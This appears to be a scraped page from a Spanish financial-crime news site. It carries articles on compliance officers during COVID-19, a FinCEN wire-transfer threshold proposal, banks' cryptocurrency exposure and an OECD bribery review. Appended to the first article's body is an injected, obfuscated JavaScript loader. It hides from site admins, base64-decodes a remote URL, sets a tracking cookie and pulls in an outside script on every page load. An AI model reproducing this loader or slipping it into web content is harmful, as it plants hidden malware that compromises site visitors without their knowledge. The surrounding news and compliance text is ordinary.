organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa 